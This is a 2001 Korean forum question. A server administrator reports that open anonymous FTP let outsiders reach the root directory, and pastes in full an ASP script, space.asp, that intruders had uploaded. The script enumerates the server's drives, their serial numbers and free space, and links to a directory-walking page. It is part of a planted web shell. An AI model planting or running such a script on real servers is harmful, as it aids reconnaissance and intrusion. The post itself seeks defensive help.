적수네 동네 - 질문과 답변

	>> Read No. 35238 article
안녕하세요. 황당한 사건입니다.^^;

등록 2001-11-18 11:28:00 조회 1
이름 조민규

		여느때와 다를바 없는 그런 하루였습니다..
서버에서 netstat를 쳐보니 외국사람으로 보이는 아이피가 4-5개가 서버의 ftp포트를
들여다 보고 있더라구요.. 익명이란걸 확인하고..
뭔가 의심쩍어 제가 익명으로 접속을 했더니..
루트디렉토리로 접속이 되지 뭡니까..
허걱... 재빨리 익명접속을 막았습니다...
 incoming디렉토리에 가보니 이상한것들이 마구 있더라구요..
space.asp라는게 있어서 한번 보니
 <%
'Drive information script by Garet Jax
Response.Write "<html><head><title></title></head><body>"
Response.Write "<font face=arial>Server Software:"& Request.ServerVariables("SERVER_SOFTWARE") &"<br>Drive Information 
for: "& Request.ServerVariables("SERVER_NAME") &"<br>" Response.Write "<table border=1 cellpadding=3 cellspacing=0 borde
rcolor=Black>" Response.Write "<tr><td nowrap><font face=arial><b>Driveletter</td><td nowrap><font face=arial><b>Drive T
ype</td><td nowrap><font face=arial><b>Volume Name</td><td nowrap><font face=arial><b>Total Space</td><td nowrap><font f
ace=arial><b>Available Space</td><td nowrap><font face=arial><b>File System</td><td nowrap><font face=arial><b>Serial #<
/td></tr>" Set fs = CreateObject("Scripting.FileSystemObject") Set drv = fs.Drives For each d in drv
If d.Driveletter <> "A" Then
If d.IsReady = True Then
freespace = (d.AvailableSpace / 1024)
free = (freespace / 1024)
totalspace = (d.TotalSize / 1024)
total = (totalspace / 1024)
	Response.Write "<tr><td nowrap><font face=arial size=2><A href='dirwalkR.asp?id="& d.DriveLetter &"'>"& d.DriveLetter &
"</a></td>" 	If d.DriveType = 3 Then
		dtype = "Network"
		If d.ShareName = "" Then
			dname = "&nbsp;"
		Else
			dname = d.ShareName
		End If
	ElseIf d.DriveType = 0 Then
		dtype = "Unknown"
		If d.VolumeName = "" Then
			dname = "&nbsp;"
		Else
			dname = d.VolumeName
		End If
	ElseIf d.DriveType = 1 Then
		dtype = "Removeable"
		If d.VolumeName = "" Then
			dname = "&nbsp;"
		Else
			dname = d.VolumeName
		End If
	ElseIf d.DriveType = 2 Then
		dtype = "Fixed"
		If d.VolumeName = "" Then
			dname = "&nbsp;"
		Else
			dname = d.VolumeName
		End If
	ElseIf d.DriveType = 4 Then
		dtype = "CD-Rom"
		If d.VolumeName = "" Then
			dname = "&nbsp;"
		Else
			dname = d.VolumeName
		End If
	ElseIf d.DriveType = 5 Then
		dtype = "RAM Disk"
		If d.VolumeName = "" Then
			dname = "&nbsp;"
		Else
			dname = d.VolumeName
		End If
	End If
	Response.Write "<td nowrap><font face=arial size=2>"& dtype &"</td><td nowrap><font face=arial size=2>"& dname &"</td><
td nowrap><font face=arial size=2>"& Round(total,1) &" <font size=1>Megabytes</td><td nowrap><font face=arial size=2>"& 
Round(free,1) &" <font size=1>Megabytes</td><td nowrap><font face=arial size=2>"& d.FileSystem &"</td><td nowrap><font f
ace=arial size=2>"& d.SerialNumber &"</td></tr>" Else 	Response.Write "<td nowrap><font face=arial size=2>"& d.DriveLett
er &"</td><td colspan=6><font face=arial size=2>Drive not ready</td></tr>" End If End If
Next
Response.Write "</table>"
Response.Write "</body></html>"
%>
 이런식의 내용이더랍니다..
제가 보기엔 무슨 정보를 알아내는것 같은데..
확실히 무엇인지 모르겠네요..
지금도 몇몇 아이피가 ftp쪽을 건들거리고 있는데
확실한 대처 방법이 없을까요?--항상 좋은하루만 가득되시길:)

	이름 암호

>> 관련글


35238	안녕하세요. 황당한 사건입니다.^^;	조민규	2001.11.18	....0

	RE: 안녕하세요. 황당한 사건입니다.^^;	김세연	2001.11.18	....0

목록보기 윗글 아랫글
글쓰기 답장쓰기 수정 삭제

페이지로딩: [ 0.54 초 ] 작업시간: [ 0.04 초 ]